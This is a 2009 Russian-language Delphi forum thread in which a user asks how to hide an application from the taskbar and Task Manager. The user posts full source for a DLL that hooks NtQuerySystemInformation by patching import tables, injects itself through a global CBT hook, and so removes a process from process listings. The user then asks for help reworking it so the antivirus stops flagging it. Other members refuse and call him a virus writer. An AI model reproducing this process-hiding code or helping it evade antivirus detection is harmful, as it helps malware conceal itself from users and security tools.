Справочник функций

Ваш аккаунт

Войти через: 
Забыли пароль?
Регистрация
Информацию о новых материалах можно получать и без регистрации:

Почтовая рассылка

Подписчиков: -1
Последний выпуск: 19.06.2015

скрыть приложение из панели задач

10K
04 октября 2009 года
In0stRAnez
66 / / 16.02.2008
Доброго времени суток)
необходимо скрыть приложение от панели задач или так называемого таскменеджера,

нарыл:

Код:
unit Stealth;
interface
uses
WinTypes, WinProcs, Classes, Forms, SysUtils, Controls, Messages;
type
 TStealth = class(TComponent)  
 
 
 private  
 
 
 fHideApp: Boolean;  
 
 procedure SetHideApp(Value: Boolean);  
 
 protected  
 
 { Protected declarations }  
 
 procedure HideApplication;  
 
 procedure ShowApplication;  
 
 
 public  
 
 
 { Public declarations }  
 
 constructor Create(AOwner: TComponent); override;  
 
 destructor Destroy; override;  
 
 // procedure Loaded; override;  
 
 
 published  
 
 
 { Published declarations }  
 
 property HideApp: Boolean read fHideApp write SetHideApp default false;  
 
 
 end;  
 
 
 
 
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
procedure Register;
implementation
destructor TStealth.Destroy;
begin
 ShowApplication;  
 
 inherited destroy;  
 
 
end;
constructor TStealth.Create(AOwner: TComponent);
begin
 inherited Create(AOwner);  
 
 // fHideform := true;  
 
 
end;
procedure TStealth.SetHideApp(Value: Boolean);
begin
 fHideApp := Value;  
 
 if Value then HideApplication else ShowApplication;  
 
 
end;
procedure TStealth.HideApplication;
begin
 if not (csDesigning in ComponentState) then  
 
 
 RegisterServiceProcess(GetCurrentProcessID, 1);  
 
 
end;
procedure TStealth.ShowApplication;
begin
 if not (csDesigning in ComponentState) then  
 
 RegisterServiceProcess(GetCurrentProcessID, 0);  
 
 
end;
procedure Register;
begin
 RegisterComponents('My', [TStealth]);  
 
 
end;
end.


выдаёт ошибку:

Сохраняю это всё дело в unit c названием стелс...
начинаю устанавливать компонент...
пишет вот это..

Заголовок Delphi 7 : delphi32.exe - Точка входа не нйдена

Точка входа в процедуру RegisterServiceProcess не найдена в библиотеке DLL KERNEL32.DLL.

помогите решить очень вжно!
6
04 октября 2009 года
George
4.1K / / 05.01.2007
ох ёлки. =) Форматируем код не через зад:
[highlight=delphi]
unit Stealth;

interface

uses
WinTypes, WinProcs, Classes, Forms, SysUtils, Controls, Messages;

type
TStealth = class(TComponent)
private
fHideApp: Boolean;
procedure SetHideApp(Value: Boolean);
protected
{ Protected declarations }
procedure HideApplication;
procedure ShowApplication;
public
{ Public declarations }
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
// procedure Loaded; override;
published
{ Published declarations }
property HideApp: Boolean read fHideApp write SetHideApp default false;
end;

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
procedure Register;

implementation

destructor TStealth.Destroy;
begin
ShowApplication;
inherited destroy;
end;

constructor TStealth.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
// fHideform := true;
end;

procedure TStealth.SetHideApp(Value: Boolean);
begin
fHideApp := Value;
if Value then HideApplication else ShowApplication;
end;

procedure TStealth.HideApplication;
begin
if not (csDesigning in ComponentState) then
RegisterServiceProcess(GetCurrentProcessID, 1);
end;

procedure TStealth.ShowApplication;
begin
if not (csDesigning in ComponentState) then
RegisterServiceProcess(GetCurrentProcessID, 0);
end;

procedure Register;
begin
RegisterComponents('My', [TStealth]);
end;

end.[/highlight]
И если бы Вы соизволили погуглить, то узнали бы великий секрет, что функция RegisterServiceProcess работает только для Win 9x. А у Вас небось XP, вот оно и ругается.
536
04 октября 2009 года
alex-kniaz
382 / / 07.08.2008
От панели задач ShowWindow(Application.Handle,SW_SHOW); или если скрыть SW_HIDE
10K
04 октября 2009 года
In0stRAnez
66 / / 16.02.2008
а аналоги есть?
6
04 октября 2009 года
George
4.1K / / 05.01.2007
ну, задача достаточна тривиальна, и тема, как говорится, обсосана уже. идите, пожалуйста, в гугл.
10K
05 октября 2009 года
In0stRAnez
66 / / 16.02.2008
есть вот такой вариант..

библиотека
Цитата:
library bbc;



uses
Windows,
SysUtils,
ImageHlp,
TlHelp32,
shellApi;

type SYSTEM_INFORMATION_CLASS = (
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemNotImplemented1,
SystemProcessesAndThreadsInformation,
SystemCallCounts,
SystemConfigurationInformation,
SystemProcessorTimes,
SystemGlobalFlag,
SystemNotImplemented2,
SystemModuleInformation,
SystemLockInformation,
SystemNotImplemented3,
SystemNotImplemented4,
SystemNotImplemented5,
SystemHandleInformation,
SystemObjectInformation,
SystemPagefileInformation,
SystemInstructionEmulationCounts,
SystemInvalidInfoClass1,
SystemCacheInformation,
SystemPoolTagInformation,
SystemProcessorStatistics,
SystemDpcInformation,
SystemNotImplemented6,
SystemLoadImage,
SystemUnloadImage,
SystemTimeAdjustment,
SystemNotImplemented7,
SystemNotImplemented8,
SystemNotImplemented9,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemLoadAndCallImage,
SystemPrioritySeparation,
SystemNotImplemented10,
SystemNotImplemented11,
SystemInvalidInfoClass2,
SystemInvalidInfoClass3,
SystemTimeZoneInformation,
SystemLookasideInformation,
SystemSetTimeSlipEvent,
SystemCreateSession,
SystemDeleteSession,
SystemInvalidInfoClass4,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemAddVerifier,
SystemSessionProcessesInformation) ;
_IMAGE_IMPORT_DESCRIPTOR = packed record
case Integer of
0:(Characteristics: DWORD);
1:(OriginalFirstThunk:DWORD;
TimeDateStamp:DWORD;
ForwarderChain: DWORD;
Name: DWORD;
FirstThunk: DWORD);
end;
IMAGE_IMPORT_DESCRIPTOR=_IMAGE_IMPORT_DESCRIPTOR;
PIMAGE_IMPORT_DESCRIPTOR=^IMAGE_IMPORT_DESCRIPTOR;
PFARPROC=^FARPROC;

procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc; pfnNew: FARPROC; hmodCaller: hModule);
var ulSize: ULONG;
pImportDesc: PIMAGE_IMPORT_DESCRIPTOR;
pszModName: PChar;
pThunk: PDWORD; ppfn:PFARPROC;
ffound: LongBool;
written: DWORD;
begin
pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
if pImportDesc = nil then exit;
while pImportDesc.Name<>0 do
begin
pszModName := PChar(hmodCaller + pImportDesc.Name);
if (lstrcmpiA(pszModName, pszCallerModName) = 0) then break;
Inc(pImportDesc);
end;
if (pImportDesc.Name = 0) then exit;
pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
while pThunk^<>0 do
begin
ppfn := PFARPROC(pThunk);
fFound := (ppfn^ = pfnCurrent);
if (fFound) then
begin
VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXECUTE_READWRITE,written);
WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), Written);
exit;
end;
Inc(pThunk);
end;
end;

var
addr_NtQuerySystemInformation: Pointer;
mypid: DWORD;
fname: PCHAR;
mapaddr: PDWORD;
hideOnlyTaskMan: PBOOL;

function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer;
SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt; stdcall;
label onceagain, getnextpidstruct, quit, fillzero;
asm
push ReturnLength
push SystemInformationLength
push SystemInformation
push dword ptr SystemInformationClass
call dword ptr [addr_NtQuerySystemInformation]
or eax,eax
jl quit
cmp SystemInformationClass, SystemProcessesAndThreadsInformation
jne quit
onceagain:
mov esi, SystemInformation
getnextpidstruct:
mov ebx, esi
cmp dword ptr [esi],0
je quit
add esi, [esi]
mov ecx, [esi+44h]
cmp ecx, mypid
jne getnextpidstruct
mov edx, [esi]
test edx, edx
je fillzero
add [ebx], edx
jmp onceagain
fillzero:
and [ebx], edx
jmp onceagain
quit:
mov Result, eax
end;

[COLOR="Red"]procedure InterceptFunctions;
var hSnapShot: THandle;
me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('bbc.dll'),'NtQuerySystemInformation');
hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
if hSnapshot=INVALID_HANDLE_VALUE then exit;
try
ZeroMemory(@me32,sizeof(MODULEENTRY32)) ;
me32.dwSize:=sizeof(MODULEENTRY32);
Module32First(hSnapShot,me32);
repeat

ReplaceIATEntryInOneMod('bbc.dll',addr_NtQuerySystemInformation,@MyNtQuerySystemInfo,me32.hModule);

until not Module32Next(hSnapShot,me32);

finally

CloseHandle(hSnapShot);

end;

end;



procedure UninterceptFunctions;

var hSnapShot: THandle;

me32: MODULEENTRY32;

begin

addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('bbc.dll'),'NtQuerySystemInformation');

hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);

if hSnapshot=INVALID_HANDLE_VALUE then exit;

try

ZeroMemory(@me32,sizeof(MODULEENTRY32));

me32.dwSize:=sizeof(MODULEENTRY32);

Module32First(hSnapShot,me32);

repeat

ReplaceIATEntryInOneMod('bbc.dll',@MyNtQuerySystemInfo,addr_NtQuerySystemInformation,me32.hModule);

until not Module32Next(hSnapShot,me32);

finally

CloseHandle(hSnapShot);

end;

end;
[/COLOR]




var HookHandle: THandle;



function CbtProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall;

begin

Result:=0;

end;



procedure InstallHook; stdcall;

begin

HookHandle:=SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);

end;



var hFirstMapHandle:THandle;



function HideProcess(pid:DWORD; HideOnlyFromTaskManager:BOOL):BOOL; stdcall;

var addrMap: PDWORD;

ptr2: PBOOL;

begin
ShowWindow(GetCurrentProcess,SW_HIDE);
mypid:=0;

result:=false;

hFirstMapHandle:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,8,'NtHideFileMapping');

if hFirstMapHandle=0 then exit;

addrMap:=MapViewOfFile(hFirstMapHandle,FILE_MAP_WRITE,0,0,8);

if addrMap=nil then

begin

CloseHandle(hFirstMapHandle);

exit;

end;

addrMap^:=pid;

ptr2:=PBOOL(DWORD(addrMap)+4);

ptr2^:=HideOnlyFromTaskManager;

UnmapViewOfFile(addrMap);

InstallHook;

result:=true;

end;



exports

HideProcess;



var

hmap: THandle;



procedure LibraryProc(Reason: Integer);

begin

if Reason = DLL_PROCESS_DETACH then

if mypid > 0 then

UninterceptFunctions()

else

CloseHandle(hFirstMapHandle);

end;



begin

hmap:=OpenFileMapping(FILE_MAP_READ,false,'NtHideFileMapping');

if hmap=0 then exit;

try

mapaddr:=MapViewOfFile(hmap,FILE_MAP_READ,0,0,0);

if mapaddr=nil then exit;

mypid:=mapaddr^;

hideOnlyTaskMan:=PBOOL(DWORD(mapaddr)+4);

if hideOnlyTaskMan^ then

begin

fname:=allocMem(MAX_PATH+1);

GetModuleFileName(GetModuleHandle(nil),fname,MAX_PATH+1);

if not (ExtractFileName(fname)='taskmgr.exe') then exit;

end;

InterceptFunctions;

finally

UnmapViewOfFile(mapaddr);

CloseHandle(Hmap);

DLLProc:=@LibraryProc;

end;

end.



работает отлично)) и на вин висте тоже!!!!
проблема изза кода выделенного красным цветом антивир бестится!

винда - виста
Вирь - антивир

проблема необходимо чтоб вирь не бесился))

помогите плз)

14
05 октября 2009 года
Phodopus
3.3K / / 19.06.2008
Цитата:

проблема необходимо чтоб вирь не бесился))
помогите плз)


деинсталлируйте

6
05 октября 2009 года
George
4.1K / / 05.01.2007
не, ну мне нравится. Типа
Цитата:
Люди, я написал вирус. Как сделать чтобы антивирь не бесился когда я его запускаю?


Жесть без комментариев...

288
05 октября 2009 года
nikitozz
1.2K / / 09.03.2007
Цитата: Washington

Жесть без комментариев...



+1 ))

416
05 октября 2009 года
MaitreDesir
380 / / 02.01.2008
+1. Супер тема... может её в общалку?

А вообще то, юный падаван, прежде чем писать стоит погуглить. Посмотри, есть такая штука - DelphiWorld. Там все написано...
14
05 октября 2009 года
Phodopus
3.3K / / 19.06.2008
Да нихрена веселого. Потому что стадо быдловыползков не редеет. Ты их давишь, давишь, а они все лезут и лезут из-за горизонта :mad:
416
05 октября 2009 года
MaitreDesir
380 / / 02.01.2008
Цитата: Phodopus
Да нихрена веселого. Потому что стадо быдловыползков не редеет. Ты их давишь, давишь, а они все лезут и лезут из-за горизонта :mad:



Согласен. Но надо понять что всех не передавишь. С гопотой на улице ведь смирились? С гопотой в программировании тоже надо смирится. Это уже неотъемлемая часть...

P.S.: Я ж говорю - в общалку... там разнесем всех этих вирусописателей...

6
05 октября 2009 года
George
4.1K / / 05.01.2007
с чем смиряться? с гопотой в программировании? да ради Бога. но не надо форум засирать, надоело уже вот это бесконечно не поймешь что читать. надо ж думать, прежде чем писать.... а то некоторые пишут, а потом НЕ думают. банить таких безбожно

ps. я не жестокий... =)))
297
05 октября 2009 года
koodeer
1.2K / / 02.05.2009
Цитата: Phodopus
Да нихрена веселого. Потому что стадо быдловыползков не редеет. Ты их давишь, давишь, а они все лезут и лезут из-за горизонта :mad:


Керосином их, керосином! :)

Аффтару темы:
в мануале к своей проге напиши жалостливую просьбу пользователям: "Перед запуском софтины отключите, плииииз, антивирус"...

10K
05 октября 2009 года
In0stRAnez
66 / / 16.02.2008
помогите лучше переделать код так чтоб не являлся заметным...
или предложите замену)
смотрел и на ворлде.
вместо тог чтоб отправлять лучше бы помогли разобраться...
6
05 октября 2009 года
George
4.1K / / 05.01.2007
а если ты пентагон хакнуть решишь, тоже помочь? или отправить?
416
06 октября 2009 года
MaitreDesir
380 / / 02.01.2008
Кстати! Он (In0stRAnez) недавно на форуме спрашивал как отключить интернет. http://forum.codenet.ru/showthread.php?t=56323 Точно вирус пишет.
Реклама на сайте | Обмен ссылками | Ссылки | Экспорт (RSS) | Контакты
Добавить статью | Добавить исходник | Добавить хостинг-провайдера | Добавить сайт в каталог